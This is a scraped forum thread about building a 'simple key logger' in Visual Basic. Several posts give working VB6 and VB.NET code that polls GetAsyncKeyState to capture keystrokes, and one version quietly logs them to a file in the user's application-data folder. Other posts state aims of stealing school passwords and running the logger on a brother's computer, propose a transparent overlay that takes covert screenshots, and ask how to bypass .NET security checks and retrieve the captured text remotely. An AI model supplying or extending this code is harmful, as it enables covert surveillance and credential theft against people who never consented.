Community discussion forum

Simple Key logger

This is a comment thread discussing Simple Key logger
  • 9 years ago

    This thread is for discussions of Simple Key logger.

  • Advertisement

    Simply the fastest line-level profiler for .NET ever

    “The low overhead means it has minimal impact on the execution of my program”
    Mark Everest, Development Team Leader, Renault F1 Team Ltd.

    Try out the new ANTS Profiler 4 for yourself. Download your 14-day trial now

  • 4 years ago

    This is awesome you just saved me a couple days of figuring out how to do it.
    This code should be enough to get me strarting.


    Thanks, from,


    TDc

  • 4 years ago

    Well i was looking at making keyloggers as well and yea,that helped so ty.ur 14? im 14 as well  turing 15 in 2 months.If it wasnt too much troube gimme some help with extending the logger?


    unllimted_carnage@hotmail.com


    add to msn....

  • 3 years ago

    Thank you, you saved my ALOT of time

  • 3 years ago

    hey thanks for showing me how to make the keylogger but how do i save the keys into an alternate file?

  • 3 years ago

    If anyone needs information how to have it saved to a or any VB help, please write to hotmailmemberservices@hotmail.com
    This is not hotmail, rather it is my own personal account, so please feel free to conract me.


    -Defilar

  • 3 years ago

    thanks. im guessing this is visual basic 6.0 so no i will have all the internet passwords in the school.

  • 2 years ago

    Ty a lot.
    it's only loads of work to get rid of all the weird characters but i'll succeed.
    :-)



  • 2 years ago

    I'm 15, try putting that into C++ and then I'll be impressed.

    C++ is a nightmare with this sort of thing

    Finally, are you using this key logger for legal purposes - I use key loggers on my pc to monitor usage

  • 2 years ago

    Dim result As Integer

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


    Private Sub Timer1_Timer()

    For i = 32 To 128 'Changed to 32 to 128
    result = 0
    result = GetAsyncKeyState(i)

    If result = -32767 Then
    Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
    End If
    Next i
    End Sub



    'That should fix the wierd characters

  • 2 years ago

    Hey, can't seem to get this code to work.

    I am working on VB.net Express.

    I added the code, but I seem to get an error:

    "A call to PInvoke function 'WindowsApplication1!WindowsApplication1.Form1::GetAsyncKeyState' has unbalanced the stack. This is likely because the managed PInvoke signature does not match the unmanaged target signature. Check that the calling convention and parameters of the PInvoke signature match the target unmanaged signature."

     

    And of course it crashes...And ideas?

  • 2 years ago

     

    About the PInvoke error, in this context you van set the vKey type to Integer:

    Private

    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

     

    This is because the Long type was 4 byte in VB6, but in VB.NET is 8 byte

  • 2 years ago

    when i try to run the code it says name 'i' is not declared


    i am using vb 2005 express

  • 2 years ago

    I got it working on visual basic express 2005!
    ________________________
    Public Class Form1
        Dim result As Integer
        Dim i As Double
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer


        Private Sub Form1Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Interval = 10
            Timer1.Enabled = True
        End Sub

        Private Sub Timer1
    Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i = 32 To 128
                result = 0
                result = GetAsyncKeyState(i)

                If result = -32767 Then
                    TextBox1.Text = TextBox1.Text + Chr(i)
                End If
            Next i
        End Sub
    End Class
    ______________________

























  • 2 years ago

    Hey, thanks for the help, I got the code to work, but it really seems to be a CPU hog!! Any suggestions on what may be causing this, or how to remedy it?

     

     

  • 2 years ago

    I am currently working on my first keylogger but im not willing to stop short on this one...  I have been doing some browsing on the internet and i have found many usefull tips and tricks.  I also have a cure for the screen hog part.  The way my keylogger will work is the form will be transparent and will cover the whole screen, this is essential for the first benefit of my program.  I am making the program so that it takes a screenshot and saves it every thime the mouse is clicked (down and up).  Since the form is transparent (to an extent) the user can manipulate things beneath the form while unknowingly using the form.  This is the good part for keylogger.  For this keylogger to work though, you have to be able to make it so that everytime a key is pressed on your textbox it sends that key to whichever program or whatever they have bellow your form.  This is done by the ,you guessed it, Sendkeys method.  You can find more information on that online all over the place.

  • 1 year ago

    by wierd symbols, do you mean things such as these:
    @,_,%,#,!,%,
    Because with this code, I can't seem to view any special characters, and I would like to. Could you tell me what needs to be changed in the code to allow special characters?

  • 1 year ago

    The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.

  • 1 year ago

    I see. Once I know what the value of i is for a certain button I can easily avoid wierd characters by putting it into an if statement and customizing the text that is added to the textbox. For instance,
    mouse left click = 1
    if chr(i) = chr(1) then
    me.textbox.text += "(Left Click)"

  • 1 year ago

    um, can you do this in 2003? It says that i is not declared!

     

     

    Help

     

  • 1 year ago

    Hello there! I got the code to work but the output is always in the upper case....the caps lock is not pressed. Could use some help....thanks

  • 1 year ago
    Natorweb wrote:

    um, can you do this in 2003? It says that i is not declared!

     

     

    Help

     

    For i as integer=32 to 128 step 1

    .....

    next i

  • 1 year ago

    juggernot wrote:
    I see. Once I know what the value of i is for a certain button I can easily avoid wierd characters by putting it into an if statement and customizing the text that is added to the textbox. For instance, mouse left click = 1 if chr(i) = chr(1) then me.textbox.text += "(Left Click)"

    try

    if i=keys.lbutton(stands for left mouse button) then

    me.textbox.text &= "(Left Click)"

    end if

  • 1 year ago

    pcmattman wrote:

    The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.
    Once you know one language, the rest come easy. Especially if the first is C++ and the second is Visual Basic :P

    can you post a tutorial/source code in vb?

  • 1 year ago

    pcmattman wrote:
    The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.

    sorry for the double....but there seems to be an error when i try to edit my post and insert a quote...

    anyway,...can you post a tutorial/source code in vb?

  • 1 year ago

    realy can you give us the code for VB 2005

  • 1 year ago

    DDvl wrote:
    realy can you give us the code for VB 2005

    Private

    strLetter As String = ""

    Private ret As Integer

    Private counter As Integer = 0

    Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vkey As Integer) As Integer

    Private

    Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

    Me.Timer1.Interval = 10

    Me.Timer1.Enabled = True

    Me.Timer1.Start()

    End Sub

    Private

    Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick

    For i As Integer = 32 To 128

    ret = 0

    ret = GetAsyncKeyState(i)

    If ret = -32767 Then

    Me.strLetter &= i & vbTab & Chr(i) & vbCrLf

    End If

    Next

    If Me.counter > 60000 Then

    My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\readMe.txt", Me.strLetter, True)

    Me.strLetter = ""

    Me.counter = 0

    End If

    counter += 1

    End Sub

  • 1 year ago

    it says name "i" is not declared what do i change it to? vb express 05

  • 1 year ago

    ok i got it to work but now when i hit debug on vb it brings up the form with the text box now how do i see whats being typed?

  • 1 year ago

    Ive got a problem...everything is fine on the computer I created the program on but when I test it on my brothers machine it fails to pass a security exception..(System.Security.Permission)

    Now what I want to do is bypass this security check without changing it in the administrative .NET configuration manually. So is there any way that you can adjust the settings for the .NET permissions of security on the startup of the application automatically with a confirmation screen and then revert back to the normal .NET settings on exit or maybe just bypass all security permission checks altogether?

    So far everything is ok on VB .Net 2005 express.

    Regards,

    Andrew

  • 1 year ago

    I have the same problem with everything coming out upper case.  The ASCII character number that is returned to the program is the same whether I type an uppercase or lower case letter. 

    Anyone find a fix for this?!?!

  • 1 year ago

    Is this VB.net?
    do you have any idea how to do it in vb6?

    i tried this code in vb6 but i get compilation errors




  • 1 year ago

    Hi,

    Is there also a way to change the aA to a and AA to A with out typing out all the replace commands for every letter?

  • 1 year ago

    For strange character filter, no1 thought of using

    select case i
    case (something)
    add "This key"
    case else
    add chr(i)
    end select

    ??

    btw, did someone get the Shift function right?












  • 1 year ago

    i have a question that bothers me for a very long time every time  c these keylog codes posted.
    How do i receive wat was typed?

Post a reply

Enter your message below

Sign in or Join us (it's free).